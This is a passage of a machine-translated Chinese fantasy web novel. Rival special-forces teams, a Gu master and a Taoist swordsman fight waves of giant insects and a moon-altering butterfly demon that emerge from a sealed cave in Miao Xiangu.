    An Qing turned to look at the setting sun that was about to fall, and was sighing her sister''s good luck.


    The phone vibrated again, but this time it was from the superior.


    "An Qing, the news came from Commander Hu just now that a monster was found in his resident. They can no longer control the situation and ask for your support!"


    "Commander Hu? I heard that he didn''t form a blood unicorn and threatened to compare with our Fire Phoenix? Why has he asked for support now?" An Qing said with a grin.


    "It is estimated that the situation is too bad, An Qing, no matter how you compete, you all belong to the Chinese team, so you must not be slack."


    An Qing smiled, "Understood!"


    After hanging up the phone, An Qing, Cheng Hao and others shrugged.


    "Okay, the vacation is gone again, this time we have to support the friendly forces!"


    The members of the Fire Phoenix have become accustomed to this. Nowadays, there are more and more mysterious events, and more and more places are needed for the Fire Phoenix.


    They may have to go to several places every day, so they are all used to it.


    "Go! Go to Dianzhou!"


    Three days before time went back.


    When Zhang Chu led his subordinates to Miao Xiangu.


    The Great Elder came out to greet him personally.


    After a brief understanding of the situation.


    Zhang Chu and others came to the worm fairy cave enclosed by the boulder.


    Let alone the shadow of the monster here, I didn''t even see a single insect''s hair.


    Only one person sat on the ground, his eyes fixed on the Worm Fairy Hole.


    The great elder introduced softly: "This is A Fei, our next Gu Master, he has been here since the death of his master!"


    Zhang Chu nodded.


    He had just looked at the surrounding environment and found nothing unusual at all.


    "It is estimated that those monsters all escaped from the ancient seal, and they will disappear after being wiped out!" someone said.


    Although nothing was found, Zhang Chu felt that he would stay and observe for a few days before talking.


    That night.


    Miao Xiangu hosted a grand welcome dinner.


    The elders were kindly entertained.


    Even Zhang Chu couldn''t help drinking a glass of wine.


    But he didn''t find the shadow of A Fei during the dinner.


    After asking, I realized that someone had invited, but A Fei was not moved at all.


    The great elder sighedIt is probably stimulated! "


    After the banquet was finished, Zhang Chu''s men were a little too strong to drink, and they all fell asleep.


    Zhang Chu lay on the bed, silently thinking about how to revive the former glory of Tianshi Mansion.


    Thinking about it, I couldn''t help feeling a little irritable.


    At this moment, I heard roars in the distance, and then someone shouted in horror.


    "It''s a monster, those monsters are here!"


    Hearing this shout, Zhang Chu jumped up from the bed and rushed out directly.


    really.


    In front of the Worm Fairy Cave in the distance, there were countless insect shadows shaking, and at the same time there was a sound of rustling that made the scalp numb.


    It seemed that countless monsters were eating the world.


    Zhang Chu yelled in anger, "Blood Qilin, come out for me!"

 Chapter 449： Daofu Zhenbing

    Although they all drank alcohol, they were elites who had been tempered. So under Zhang Chu''s roar, these blood unicorn members who had been sleeping were all awakened, and then all rushed outside the house in a few breaths.


    "The demon worms are already present, all set off!" Zhang Chu said in a deep voice, rushing to the wormhole first.


    The blood unicorn members followed closely behind.


    When I arrived at the Worm Fairy Cave, I saw that the huge rock blocking the entrance of the cave had been corroded by something unknown at this moment.


    All kinds of poisonous insects are crazily pouring out from this big hole.


    As for A Fei, who had been sitting guarding outside the cave entrance, a green snake phantom appeared behind him, bombarding these poisonous insects frantically.


    No wonder there was a roar, it was because of him!


    Zhang Chu thought to himself, showing some respect for this A Fei.


    At the same time, I also changed my views on the Art of Insect Gu!


    Originally, he sneered at these Gu worms, thinking that they were all sidelines, which was not worth mentioning.


    It now appears that it is not without merit.


    These monsters are just ordinary poisonous insects, at best they are slightly more toxic.


    Naturally it is not the opponent of Zhang Chu and others.


    After a few sweeps, these poisonous insects were all wiped out, and poisonous insects no longer gush out from the entrance of the cave.


    This so-called monster chaos was just eliminated?


    Zhang Chu felt disappointed.


    He also wanted to exercise the blood unicorn through this incident.


    At this time, the elders of Miao Xiangu all rushed over.


    Seeing the layers of poisonous insect corpses on the ground, these elders couldn''t help but breathe.


    "Captain Zhang, thank you for your help!"


    "You''re welcome!" Zhang Chu nodded slightly.


    But as soon as the voice fell, I felt that the ground under my feet was trembling slightly, and a strong aura came from the wormhole.


    Zhang Chugang was taken aback when he saw the pitted boulder that had been corroded at the entrance of the cave crashed to pieces, and then countless colorful poisonous insects emerged from it.


    But this time the poisonous insect was much stronger than just now.


    As soon as the contact was made, a member of the blood unicorn was bitten by a poisonous insect due to negligence.


    "Ah!" The team member let out a scream, and the bitten wound instantly began to fester.


    Zhang Chu rushed to the front in one step, and shouted in a deep voice: "No dust, no dust! Clean!"


    A soft light covered the wound, and the wound that had festered began to heal instantly.


    He used the Heavenly Master''s Mansion True Heart Purification Mantra, which was naturally used to heal illnesses and injuries.


    Now everyone increased their vigilance and began to respond to the crazy attacks of these poisonous insects.


    Various spells and Taoisms are emerging in endlessly.


    These team members all followed Zhang Chu to learn Taoism, although Taoism is relatively common, but it is very suitable to deal with these poisonous insects.


    One hour later.


    Seeing the last wave of poisonous insects be wiped out.


    Zhang Chu wiped the sweat from his forehead and couldn''t help letting out a sigh.


    Finally wiped out.


    This time it was not as easy as last time, but it was not too difficult.


    Several elders in the distance came forward and were about to say something grateful.


    suddenly!


    Another wave of poisonous insects rushed out of the cave.


    At this time, Zhang Chu and others couldn''t wait any longer.


    Because this time the poisonous insects were not only much bigger, but even the armor on their bodies shone with cold light, and ordinary attacks could no longer get them.


    During this attack, the blood unicorn finally began to suffer casualties.


    "The heart is barrier-free, and the mind has nothing to hold on!" Zhang Chu said coldly, raising his hand as a light.


    boom!


    A giant worm was crushed.


    At this moment, the ground was full of poisonous insect corpses, and there was a stench in the air.


    Zhang Chu stared at the entrance of the Worm Fairy Cave with an ominous premonition in his heart.


    From the beginning to the present, they have repelled three waves of attacks.


    And one wave is stronger than one wave.


    Especially this time, one member of the blood unicorn was killed in battle, and the rest were injured to some extent.


    I don''t know if there is any more.


    Thinking of this, Zhang Chu glanced at A Fei who was sitting cross-legged next to him.


    This man has been attacking frantically since just now, and the most poisonous insects died on his hands.


    Zhang Chu couldn''t help raising a trace of respect, and stepped forward to have a few words.


    Seeing A Fei suddenly opened his eyes, he said solemnly: "Here!"


    Zhang Chu was taken aback, "What''s coming?"


    A Fei raised his head and glanced at Zhang Chu, revealing his white teeth, laughing like a beast.


    "Don''t you think those were monsters just now!"


    "Isn''t it?"


    "Hehe, these things are just sent by monsters to explore the way. The real monsters will appear soon!" A Fei said lightly.


    Following his voice, he heard a noisy sound from the Worm Fairy Cave, and the deep hole became like a devil''s mouth, which was daunting.


    Zhang Chu''s heart sank, if what Afei said was true.


    So how terrible is the real monster?


    "End!" Zhang Chu said in a deep voice.


    "Yes!"


    All of Blood Qilin''s subordinates were refreshed, and then stood according to the positions they had practiced countless times, and each took their own minds.


    A ray of light rose, and then these people were connected to each other.


    This is the greatest support in Zhang Chu''s hands, and it is also the reason why he has the confidence to challenge Fire Phoenix.


    After Zhang Chu taught these team members to get started, they trained them in accordance with the Taoist formations of the Tianshifu!


    Needless to say the hardships during the period, it was only after countless efforts were spent, coupled with the strong support of Hu Commander, that such a team was trained.


    The number is the real soldier of the prefecture!


    It is said that the real soldiers of Taoism in the ancient times could slash the gods and destroy the immortals, but after so many years, those have become illusory legends.


    But the real army of Taoism that Zhang Chu painstakingly forged was still very powerful.


    Immediately after the formation, hundreds of spiders as tall as one person crawled out of the worm fairy cave.


    As soon as these spiders appeared, they spit out spider silk frantically, and came towards Zhang Chu and others.


    Zhang Chu yelled coldly, "Broken!"


    boom!


    Dao Bing''s formation sent out a dazzling knife light, directly breaking these spider silks.


    Moreover, the remaining power was not eliminated, and dozens of spiders were cut in half before they were dispersed.


    This blow refreshed the spirits of the people in Miao Xiangu who had been frightened.


    "Good formation!" The great elder cheered loudly.


    Zhang Chu smiled contentedly, just about to say something humble.


    Seeing A Fei slowly standing up, the green snake phantom appeared behind him, and said coldly: "Come!"


    As soon as the voice fell, I saw a spider as big as a room slowly crawling out.


    A powerful momentum enveloped the audience.


    Zhang Chu was shocked and roared, "Exit!"


    A sword light that was stronger than just now appeared, and went straight to the spider to cut it away.


    With a click.


    The knife was shattered.


    The spider was unscathed, but smiled gloomily.


    Then a black air surged.


    The spider turned into a man with a grim face.


    After the man looked around the audience with cold eyes, a mocking color appeared on his face.


    "In the past, the world where the strong were born, has actually become so weak?"

 Chapter 450： Laojunjian

    Before Zhang Chu could speak, A Fei rushed up like a madman.


    "Monster, pay my master''s order!"


    This spider evoked A Fei''s painful memories, and he subconsciously regarded it as the spider that killed his master.


    A huge green snake phantom appeared behind A Fei, and then struck out.


    The spider man sneered, "A mere worm, dare to be rampant!"


    Saying, waved casually.


    The green snake cried out and was almost crushed.


    A Fei even flew out directly, and sprayed a big mouthful of blood in the air.


    The elders in Miao Xiangu all screamed.


    In any case, A Fei is the new Gu Master.


    If he died, then the inheritance of Miao Xiangu would be broken.


    So they looked at each other, bit the bullet and called out their own Gu worms, and then they were also ready to rush up.


    At this time, Zhang Chu said coldly: "The world is boundless, everything is one!"


    A dazzling light of swords emerged from the real soldiers of the Daofu, and then formed a mountain of swords, attacking the spider man directly.


    The spider man laughed, "Tianshifu''s method? It''s a pity, it''s too weak!"


    As he said, the Spider Man suddenly punched out.


    boom.


    The mountain was smashed by the spider man with a punch, and he proudly said: "Today, kill you and others, so is the Spider Emperor under the Queen''s Seat!"


    After all, a black air rose up from him, and then suddenly fell, attacking everyone.


    Layers of white light appeared above the real soldiers of the Taoist government, forming a large light curtain to deal with the black energy.


    But the strength of these black auras made Bai Guang retreat steadily.


    At this moment, A Fei didn''t know when he had stood up. Although the green snake phantom behind him was a little sluggish, it was getting bigger and bigger.


    "No, Lord Gu, if you burn the essence and blood of the owner, both you and the natal Gu worm will die!" An elder with a Qiu Cicada behind him shouted.


    But as soon as his words fell, a black air fell on his head, completely blasting him and Qiu Chan into powder.


    "Five Elders!" everyone exclaimed.


    The people in Miao Xiangu were all red eyes at this moment.


    Although they had always wanted to escape before, when the Zerg was really present and could not retreat, they could only grit their teeth.


    But this spider man is so powerful that he is almost desperate.


    A few people from Miao Xiangu''s tribe were bombarded with black air before they were halfway through their journey.


    The green snake behind A Fei became bigger and bigger, and exuded a powerful aura.


    Many elders looked sad.


    Is the inheritance of Miao Xiangu really going to be cut off?


    At this moment, a clear sword light suddenly passed.


    The spider man froze in place, with a red line looming on his forehead, and whispered, "Old Sword?"


    Zhang Chu was holding a gray ancient sword, his face was pale, he panted heavily, and nodded.


    "How is it possible, how could the Taoism of the Heavenly Master''s Mansion come here?" Spider man muttered to himself, and then the whole body was divided into two halves from the middle.


    The intrepid spider man was killed by a sword.


    Everyone cheered in unison.


    Only Zhang Chu showed a wry smile.


    He also heard the worm''s question before he died.


    Why is the Taoism of Tianshifu here?


    Because...He is the only one left in the Tianshi Mansion now!


    And this matter obviously won''t end there. The appearance of this spider man shows that there are obviously many terrifying existences in the wormhole.


    And the Laojun sword he was holding was unparalleled even though it was inherited from the old man''s hand.


    But relying on his own strength, he can use at most one sword a month, otherwise it will greatly damage Daoji.


    And these monsters, will they give themselves a month?


    It seems to be in response to Zhang Chu''s concerns.


    The entire Miaoxian Valley began to shake.


    Countless black energy gushes from the Worm Fairy Cave.


    Everyone''s complexion changed wildly.


    A Fei stepped forward and suddenly said, "In fact, this matter has nothing to do with you, you can leave now!"


    Zhang Chu stood holding the sword, and said softly: "There is no one who retreats from the demon in the Heavenly Master Mansion!"


    After a while of silence.


    A Fei nodded, "Your sword is good!"


    "Your Gu worm is not bad either!"


    The two met once, and then laughed.


    ����������������������������


    The sky was drizzling.


    A Fei struck out a punch with all his strength to knock back the last monster the size of a giant elephant.


    At the same time, a talisman light smashed the monster worm from behind.


    Zhang Chu stalked the ground with a sword, his face full of exhaustion, but he did not forget to nod at A Fei.


    A Fei smiled back, then lay down with a plop.


    He was on the verge of collapse.


    This is already the third day.


    Neither A Fei nor Zhang Chu could remember how many waves of Zerg attacks had been repelled in the past three days.


    Anyway, the current Daofu real soldiers have been killed and injured more than half.


    Everyone in Miao Xiangu suffered heavy casualties.


    Even the artillery and tanks urgently allocated by Commander Hu have already suffered casualties.


    At this moment, the ground of Miaoxian Valley was covered by a thick layer of Zerg corpses.


    There are broken walls everywhere, and various ordnance weapons that have been destroyed.


    Hu Commander looked at this scene from the command vehicle in the distance with a pale face.


    At this moment, his heart is bleeding.


    The blood unicorn was maimed.


    The elite soldiers under his own also suffered heavy casualties.


    And all of this was caused by a seemingly inconspicuous monster.


    The sound of fighting in the front stopped. Commander Hu knew that this wave of Zerg attacks had been repelled again.


    He said solemnly: "Go up!"


    "But..." The driver and staff hesitated.


    "I said go ahead!" Hu Commander''s appearance is about to eat people!


    "Yes!"


    The command vehicle with heavy armor drove forward.


    Commander Hu came down from above, looking distressedly at the soldiers lying on the ground and sleeping.


    He knew that these people were too tired.


    "Commander!" Zhang Chu rushed over when he saw this. After giving a military salute, he said with some worry: "Why are you here? It''s too dangerous here!"


    Commander Hu shook his head I am not used to the bleeding of frontline soldiers, but I am doing nothing behind! How is it, how long can it last? "


    Zhang Chu was silent for a moment, and smiled bitterly: "I don''t know, but the time interval between these Zerg charges is getting shorter and shorter, and the strength is getting stronger and stronger! I''m afraid..."


    Commander Hu stared at the dark wormhole, "Would you like to use missiles to flatten it?"


    A Fei lying on the ground shook his head and said, "It''s useless. Even if it is blown flat, it may destroy the last remaining seal. No one knows what will happen then!"


    Commander Hu was silent for a while, and then said in a deep voice: "Try to hold on, I have already notified Fire Phoenix, they will be here soon!"


    "Fire Phoenix?" Zhang Chu''s face paled after hearing this.


    Commander Hu patted him on the shoulder with a wry smile, "I know what you are thinking, I am more reconciled than you! But now the situation is like this, if you don''t have any support, once you collapse, these monsters raged, then the people of Dianzhou... ...."

 Chapter 451： Fire Phoenix Arrives

    Zhang Chu nodded, he knew that the commander was telling the truth.


    All personal grievances must stand aside in front of the lives and deaths of tens of millions of people in Dianzhou.


    It''s just... still very unwilling!


    At this moment, numerous giant bees flew out of the Worm Fairy Hole, and these giant bees came straight to everyone like a black cloud.


    "Insect attack!" Zhang Chu exclaimed, and the many soldiers lying on the ground resting all jumped up and returned to their fighting positions.


    "Commander, please leave here quickly, it''s too dangerous here!" Zhang Chu said, pushing Commander Hu onto the armored vehicle without any explanation.


    At the same time, he was afraid that he would not be safe, so he bit his **** and wrote a seal on the armored car door.


    "Brilliant golden light, how dare you be a ghost! Evil!"


    Layers of golden light suddenly covered the entire armored vehicle.


    Then Zhang Chu turned around to leave.


    Hu Sling said in the car: "Anyway, remember to live!"


    Zhang Chu was taken aback, nodded and then turned away.


    At this time, the swarm had already rushed, and A Fei called out the natal Gu worms to start fighting with the swarm.


    It''s just that his natal green snake is only half the size of the previous one, so even the lethality is much weaker.


    At this moment, Zhang Chu roared, "A real soldier of the Dao Mansion, a ghost and a ghost!"


    The white light on the bodies of these real soldiers of the Taoist government was steep and bright, and then turned into a vast white light, which fell down towards the swarm.


    boom.


    The body of the giant bee fell like rain.


    This blow wiped out half of the giant bees.


    But the most frightening thing is that these bee colonies seem to be wise.


    Although the casualties were half, some of the giant bees struggled in front of them fiercely, while others quietly went around behind to prepare for a sneak attack.


    A few members of the blood unicorn were inadvertently sucked up by a few giant bees for humans.


    There were a few fewer real soldiers in the Daofu, and the white light became weaker and weaker.


    Zhang Chu was frightened and angry, and was about to rush over to solve those giant bees.


    But helplessly, several larger giant bees entangled Zhang Chu.


    Among the few remaining elders in Miao Xiangu, an elder with a golden centipede on his head suddenly rushed over, and then decisively exploded.


    boom.


    The spontaneous detonation power of the natal Gu worm wiped out some giant bees.


    Everyone in Miao Xiangu, as well as Zhang Chu Qiqi, screamed.


    Although their identities are different, after these three days of fighting side by side, they have established a solid comradeship.


    "These **** bastards!" Zhang Chu''s eyes were splitting, but he couldn''t rush through.


    At this moment, an armored vehicle emitting a golden light suddenly rushed in and directly knocked out a few giant bees. At the same time, several barrels were stretched out of the armored vehicle and fired at these giant bees.


    Amid the deafening gunfire, the solid giant bee''s body was beaten into a hornet''s nest.


    Zhang Chu was stunned.


    After the giant bee attacking behind was cleaned up, the voice of Commander Hu heard from the tweeter of the armored vehicle.


    "Hey, my marksmanship is good!"


    Tears appeared in Zhang Chu''s eyes.


    But at this moment, it seemed that because the bee colony suffered too much casualties, a giant bee that had been hidden behind the colony flew out brazenly.


    This giant bee is two stories high, and the sharp, sword-like mouthparts exude a cold, cold light.


    "It''s the queen bee!" A Fei yelled and jumped up, trying to stop the giant bee.


    But he is already at the end of the crossbow, how could he be the opponent of this giant bee.


    A yellow light mark blasted A Fei directly out, and the green snake phantom behind him was directly broken, and then fell on the ground without knowing his life or death.


    Zhang Chu''s eyes were blood-red, and he pulled out Laojun''s sword. Once he gritted his teeth, he was ready to use another sword.


    Although it is said that he can only use one sword a month, he has used more than one sword in the past three days alone.


    If Duckie is ruined, he will ruin it.


    Otherwise everyone will die now!


    Zhang Chu is about to do it.


    suddenly.


    Behind the giant bee, a dagger exuding a thick murderous aura emerged from the void, and then lightly swiped it.


    Click.


    The giant wasp''s mouthparts and several chelating limbs broke off.


    The giant bee roared painfully, but its momentum rose steadily.


    "Be careful!" Zhang Chu shouted.


    Although he didn''t know who was making the shot, he was definitely helping himself.


    The voice did not fall.


    I saw a huge figure emitting golden light flying across the sky, and then blasted out with a punch.


    boom!


    This giant bee flew out as if it had been hit by a giant dragon, and its body was broken into powder in midair.


    Zhang Chu stared at this scene dumbfounded.


    At this time, the huge figure fell heavily on the ground, smashing the ground into a big hole.


    Then a giant man stood up, touched his golden bald head, and smiled silly.


    Zhou Da Niu!


    The top combat power of the Fire Phoenix Special Forces.


    Known as a humanoid tank.


    Zhang Chu naturally recognizes him. In fact, he is more familiar with the members of the Fire Phoenix than his own.


    He is familiar with each person''s characteristics and abilities.


    For example, the man who emerged from the void now holding a dagger was the voidwalker Sun Ling.


    And the captain Cheng Hao, Zou Yi...


    All members of the Phoenix Fire appeared in the field.


    At the same time, I saw a military off-road roaring rushing forward, and then stopped steadily until it rushed back and forth, and then walked down a pretty unparalleled girl from above.


    Zhang Chu''s heart moved.


    One of the soul figures of the Phoenix.


    An Qing!


    An Qing first looked down at the tragic battlefield, sighed, took a few steps forward, and stretched out her hand.


    "Hello! We are the Fire Phoenix Special Forces, we are ordered to come and support!"


    Zhang Chu trembled, and subconsciously returned a military salute, not daring to hold that slender jade hand.


    "Captain Zhang Chu of the Blood Kirin Special Forces!"


    An Qing smiled slightly and withdrew her hand unmovingly.


    Among the members of the Fire Phoenix, Zou Yi whispered to Zhou Daniu: "See, this kid blushed when he watched us put our heads, I guess he didn''t have any thoughts!"


    Zhou Da Niu smiled and said nothing.


    At this time, Commander Hu got out of the command vehicle and greeted him with enthusiasm.


    "General An, thank you for coming here for reinforcements!"


    An Qing smiled slightly The commander said seriously, this was originally our duty for the army! "


    The sassy and heroic posture between the words made Zhang Chu''s face even more red.


    Zou Yi curled his lips, "I see it, my face is even redder! Damn, this kid didn''t have any thoughts right after meeting!"


    "Blushing is not good thinking?" Zhou Daniu asked in a naive voice.


    "Of course! If there is no ghost in my heart, why is this kid blushing?" Zou Yi was plausible.


    Cheng Hao frowned, then looked back at Zou Yi, "Stop talking nonsense!"


    Zou Yi stuck out his tongue and dared not say anything.


    Although the battlefield was fierce, it didn''t take it seriously for the Fire Phoenix people who were used to the big scenes.


    Even talking and laughing easily.


    But they didn''t know that waiting in front of them would be a more cruel battle.

 Chapter 452： Against the sky and the moon

    call out.


    A crossbow arrow flew across the air, and the high-strength carbon fiber arrow directly nailed into the body of a giant beetle, and then exploded, blasting it to pieces.


    Zhang Chu was taken aback and looked back.


    Seeing An Qing sitting on the roof of the off-road vehicle in the distance, holding a high-tech crossbow in her hand, she nodded slightly after seeing her gaze.


    But just after he was stunned, the giant centipede suddenly jumped out of the ground and attacked Zhang Chu''s back.


    Before Zhang Chu could react, Cheng Hao in the distance rushed forward, smashing the upper half of the centipede with a punch, and then said coldly: "If you are tired, go to rest!"


    Zhang Chu was blushing, but he knew that if Cheng Hao didn''t help him, he would definitely be injured, so he couldn''t help whispering, "Thank you!"


    Cheng Hao ignored him, just raised his hand and said solemnly: "Besiege!"


    Following his order, all members of the Fire Phoenix instantly formed an encirclement, and then step by step annihilated the Zerg in the enclave.


    The speed of advancement made Zhang Chu a little silly.


    After a while.


    This wave of Zerg was completely wiped out.


    Immediately someone stepped forward to clean the battlefield, while the members of the Fire Phoenix stepped aside, eating food and drinking water.


    Zhang Chu''s heart is mixed.


    It has been one day since the people of the Fire Phoenix came.


    This day''s getting along with Zhang Chu and others opened their eyes.


    Whether it is individual ability or teamwork, Fire Phoenix has achieved almost perfection.


    This also made Zhang Chu, who had arrogantly **** the Fire Phoenix, was full of shame.


    Because of this comparison, Zhang Chu knew how big the gap between his blood unicorn and the fire phoenix was.


    "Captain, these zergs are really **** hard to deal with!" Zou Yi complained.


    Cheng Hao also looked solemn.


    After this day''s battle, Cheng Hao finally understood why Commander Hu would abandon his face and not ask for support.


    The attacks of these zergs were tyrannical and fearless.


    Only the elite of the elite like Fire Phoenix could withstand such an offensive, and if they were replaced by others, they had already collapsed.


    At this time, the sun was setting and the moon was rising.


    Looking at the full moon, Cheng Hao''s heart moved.


    "What day is today?"


    "Today is the middle of the month!" Zou Yi said.


    Cheng Hao''s expression became serious.


    The Fajue he was practicing was given to him by Xue An. After more than a year of training, he has been in the hall and has a cultivation base of heaven and man.


    Therefore, he is also very sensitive to the surrounding air.


    He always feels...something is wrong with today''s bright moon!


    Not only him, Zhang Chu also looked up at the unspeakable full moon, his expression gradually becoming solemn.


    "Everything is ready, it''s probably going to be hard tonight!" Cheng Hao said solemnly.


    All the members of the Fire Phoenix shook together.


    Zou Yi said bitterly, "Boss, don''t scare me!"


    Cheng Hao glared at him, "Have I scared you? Get up!"


    "Yes!"


    Then Cheng Hao hesitated for a moment and walked to the off-road vehicle, "Antou, this battlefield will be even more dangerous at night, or you should go to the rear command post, where it is safe."


    An Qing was sitting on the luggage rack on the roof, dangling a pair of long legs, and chuckled lightly.


    "Danger? This crossbow in my hand is not vegetarian!"


    An Qing felt that her strength was low, so she started to practice crossbow arrows in her own way. She didn''t expect her talent in crossbow arrows to be extremely amazing, and she practiced unparalleled archery in a very short time.


    Then she spent a lot of money to ask people to build this crossbow.


    It is self-winding, fires multiple arrows in a row, and is more powerful than ordinary sniper rifles. It is a veritable killer.


    Especially this time An Qing knew that the mission was dangerous, and installed pressure-sensitive explosives on the arrows.


    So this day, the monsters who died under An Qing''s arrows were no fewer than the others.


    Cheng Hao looked at An Qing, whose eyes became brighter and brighter under the moonlight, his heartbeat accelerated slightly, and then he lowered his head quickly, "Okay! But Antou must remember, not to get too close!"


    "Understood! Go ahead!" An Qing said with a grin.


    Cheng Hao was about to turn around.


    I felt a violent shaking of my feet.


    earthquake!


    This was the first thought that flashed through Cheng Hao''s mind.


    Then a very ominous premonition emerged in my heart!


    Sure enough, with this violent shaking, the Chongxian Mountain Kacha cracked a gap.


    The black energy dispersed, and then more than ten times more Zerg came out from it.


    Many people are frightened to see this scene.


    Cheng Hao thought about the telephony and shouted, "Call the rear, let them cover it with gunfire!"


    Now that these monsters have not rushed, it is the best time to cover the artillery.


    Upon an order, someone immediately notified the rear command center.


    Commander Hu had already seen the situation on the scene through the drone, and said with a green face: "These **** bugs! Blow me up!"


    "Yes!"


    Dozens of missiles flew up, rushed to the top of these monsters in the blink of an eye, and then exploded.


    The shock wave knocked everyone hundreds of meters away to the ground.


    Wait for the smoke to disperse.


    A shocking scene appeared.


    It was seen that layers of black fog appeared above these zergs, and they actually blocked the missiles outside.


    And after this delay, these zergs have rushed over.


    Cheng Hao sighed secretly, knowing that the opportunity to cover the artillery was lost.


    He said solemnly: "A group of three, attack!"


    "Yes!"


    The people of the Fire Phoenix instantly turned into a team of three, and began to encircle and suppress these zergs.


    But this time when he came into contact again, Cheng Hao was shocked to find that he couldn''t kill these zergs with one punch with his own strength.


    At this moment, Zhang Chu''s eyes were even more blood-red, because his blood unicorn damaged another seven or eight people because of one encounter.


    Seeing that the real army of Taoism that he had painstakingly built was about to die completely, Zhang Chu''s heart was bleeding.


    "What''s going on? Why do these zergs suddenly become so powerful?" Zhang Chu shouted furiously.


    A Fei smashed a giant insect with one blow, and then said coldly: "Look at the sky!"


    Zhang Chu looked up, UU read and saw that the bright moon did not know when it turned into a fascinating red, and the sky and the earth were red.


    In Zhang Chu''s eyes, this is simply a monster.


    "It''s the strong monster of the demon clan who is against the sky and the moon!" Zhang Chu yelled in despair.


    Against the sky and the moon!


    Nouns that only appeared in ancient books.


    In the ancient times, those tyrannical and unparalleled monsters in the monster race would use powerful secret techniques to change the moonlight into a monster energy at the time of the full moon, forming a temporary monster world, thereby facilitating the battle of the monster race.


    This is equivalent to giving a buff to the monster race, which is still indistinguishable.


    But isn''t this secret technique already lost?


    Why did it suddenly appear today?


    At this moment, I saw a huge butterfly slowly spread its wings in the full moon.

 Chapter 453： Huang Quan opened his eyes, all beings fell

    This is a huge butterfly whose wings spread out even the moonlight.


    On the butterfly wings, there were a pair of eyes.


    At this moment, these eyes are slowly opening.


    A Fei was trembling all over, because he thought of an event a few days ago.


    At that time, the master had just died, and A Fei frantically searched for everything about monsters.


    Then I saw a sentence in an ancient book hidden in Miao Xiangu.


    Huang Quan opened his eyes, and sentient beings fell over.


    And the picture is such a butterfly.


    At that time, ALFY didn''t care.


    Now he suddenly thought of it.


    "Don''t let it open its eyes!" A Fei shouted.


    Before he could finish speaking, Zhou Daniu groaned and rose into the sky.


    Although I don''t know what this butterfly does.


    But it seems that it is not a good thing.


    Since it''s not a good thing, then kill it with one blow!


    This is the simple logic of Zhou Daniu,


    In an instant, Zhou Daniu, with a faint golden light all over his body, rushed in front of the butterfly, and then blasted out with a punch.


    boom.


    After a loud noise, the butterfly was blown upside down.


    And Zhou Daniu was also smashed directly to the ground, and the golden light all over his body flickered a few times before it burst into pieces.


    Then Zhou Daniu opened his mouth and spit out blood.


    Cheng Hao and others were all taken aback.


    As the top combat power in the Phoenix, Zhou Daniu''s strength is obvious to all.


    Unexpectedly, Zhou Daniu''s golden body would be broken in one punch.


    At this time, the butterfly''s eyes were already open, and the eyes were full of cold and evil light, and then they flapped their wings slightly.


    The demon wind is everywhere.


    The monster above the ground suddenly began to grow.


    In the blink of an eye, all these monsters more than doubled, and the offensive was even more powerful.


    The pressure on the people of the Fire Phoenix skyrocketed.


    After a while.


    Sun Ling, who emerged from the void, was thrown in his back by the tail of a giant scorpion, and was directly knocked out. If Cheng Hao hadn''t flew to catch Sun Ling, it was estimated that Sun Ling would have been seriously injured.


    From the moment the butterfly appeared to the situation where it was only a cup of tea, the Phoenix, who had been fighting for a day without being injured, had two more wounded.


    What''s more terrifying is.


    It was hard to eliminate these monsters, but as long as they were not completely destroyed, these monsters would begin to recover quickly in a short while.


    It''s like immortality, endlessly haunting you.


    "The butterfly must be wiped out, otherwise these monsters will only become stronger as they fight!" A Fei shouted.


    Cheng Hao also understood this truth, a decisive color flashed in his eyes, and then he walked into the air.


    Among all the people of the Fire Phoenix, the Nine Star Emperor Overlord he cultivated was the most powerful, and his cultivation was naturally the highest.


    Cheng Hao knew that success or failure lies in this, so he summoned up all the cultivation base of his body, and suddenly gave a cold cry.


    "Nine Star Seal!"


    I saw nine huge stars suddenly appeared in the night sky, dazzling, like nine diamonds.


    Then nine starlights were released from the nine stars, forming a giant seal of Haoran, and smashed directly at the butterfly.


    This weird butterfly also seemed to perceive the severity of the blow, its wings moved slightly, and wanted to dodge.


    But as soon as Jiuxing printed, the space around the butterfly was firmly sealed, and it had nowhere to hide.


    boom.


    The nine-star seal hit the butterfly.


    This blow was so powerful that it directly smashed a butterfly''s wing into powder.


    Of course, there is only one eye left.


    The size of the monsters in the field shrank a lot in an instant.


    Cheng Hao was energetic, and when he turned his hand, he wanted to blast another nine-star seal.


    But at this moment, I heard this butterfly make a very sharp and piercing cry.


    The sound was so unpleasant that many people covered their ears and showed pain on their faces.


    Cheng Hao was the core of the attack, and naturally his face turned pale when he was impacted by the sound, and his movements in his hands became much slower.


    It''s just such a gap.


    The butterfly freed from the air mechanism that blocked it, then turned into a stream of light, and hit Cheng Hao directly.


    At this moment, Cheng Hao was stiff and he had no power to fight back.


    Zou Yi and others were shocked, they wanted to go up and rescue, but it was too late.


    At this moment, a giant crossbow arrow flew like lightning and directly hit the butterfly.


    Even the power of this arrow was so powerful that it took the butterfly out.


    boom.


    The arrow nailed into the butterfly''s body exploded at this moment, causing the butterfly to suffer another layer of damage.


    It''s An Qing!


    Everyone turned their heads and looked, only to see An Qing holding a huge crossbow, her face also full of solemnity.


    She used up all the energy stored in the giant crossbow with this arrow, but she did not expect that even so, she could not kill the butterfly.


    Butterfly''s only remaining eye was full of anger, staring at An Qing, let out a roar, then abandoned Cheng Hao and went straight to An Qing.


    "No!"


    Cheng Hao was shocked. Although the discomfort of being paralyzed still remained in his body, he tried his best to stop the butterfly.


    But he was still a step slower, the butterfly was as fast as a ghost, and in the blink of an eye he rushed to An Qing with a look of surprise.


    At this moment, Zhang Chu suddenly appeared and roared, "The evildoer will die!"


    Then a clear sword light flashed.


    Click.


    The other wing of the butterfly was also cut off in half, and the eye was cut off, leaving only half of the pupil, which was even more strange.


    Butterfly roared in pain, and a black brilliance blasted out, directly blasting out Zhang Chu who was on the verge of a coma because of the forceful use of the Laojun sword.


    Then it continued to rush towards An Qing reluctantly, and at the same time spit out a black brilliance, submerging An Qing.


    "Do not!"


    All the people from the Fire Phoenix roared extremely angry.


    But at this moment, a white light suddenly appeared on An Qing, who was shrouded in black brilliance.


    The butterfly originally thought it had the chance to win, but as soon as the white light came out, it shocked all over its body and turned around and wanted to escape.


    But this white light, which was not as thick as the mouth of the bowl, spread in an instant. Shrouded the butterfly directly from behind.


    As soon as it touched the white light, the butterfly let out a deafening scream.


    The screams were full of fear.


    Then the white light eroded, instantly turning the butterfly into fly ash.


    At the same time, the white light spread out, sweeping away all the monsters in the field.


    In the blink of an eye all the monsters that were still aggressive just now turned into ashes.


    Everyone watched this scene blankly.


    Finally, the white light dissipated!


    An Qing appeared on the roof of the off-road vehicle.


